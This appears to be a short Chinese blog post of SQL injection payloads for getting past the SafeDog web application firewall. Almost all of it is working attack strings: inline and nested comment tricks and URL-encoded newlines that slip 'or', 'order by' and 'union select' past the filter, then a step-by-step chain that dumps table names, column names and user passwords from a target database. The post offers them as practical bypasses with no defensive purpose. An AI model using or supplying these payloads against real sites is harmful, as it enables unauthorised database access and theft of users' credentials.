面试自闭了 实战太菜了
无内鬼 整点绕狗
1' or 1=1#拦截
1' or%23%0a 1=1%23 拦截
1' /*!14400or*/%23%0a 1=1%23 正常执行 内联注释牛批 除了14400好像别的差不多都会拦

1'order by 1#拦截
1'/*!14400order*/%23%0a/*!by*/3%23单行注释加换行符加内联注释
1'/*!order*/%23%0a/*!by*/3%23 不带版本也可以
1'order%23%0aby 3%23 不带内联注释都可以 这正则写的8行
1'/*!order /*!/*/**/by*/4%23 还有一些奇奇怪怪的嵌套注释也可以绕

0'/*!union/*!/*/**/*/select/**/1,2,database/**/()-- - union select 思路也是嵌套注释
另外,union all select是安全狗的正则黑洞
0' union%23%0aall%23%0aselect%23%0a1,2,3%23 换行加注释就能绕了
关键函数只要不是函数名与括号连着就不会被拦截 所以可以随便加点注释
0'union%23%0aall%23%0aselect%23%0a1,group_concat(table_name),3/**/from information_schema.tables/**/where/**/table_schema=database/**/()%23
注表名
0'union%23%0Aall%23%0Aselect%23%0A1,group_concat(column_name),3/**/from information_schema.columns/**/where/**/table_schema=database/**/()/**/and/**/table_name=0x7573657273%23注字段名
0'union%23%0Aall%23%0Aselect%23%0A1,group_concat(password),3/**/from users%23 注密码

用union select的话 直接用/*!union/*!/*/**/*/select/**/就不会拦截
总体思路就是利用注释嵌套打乱他的正则,不让他把union select识别出来

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注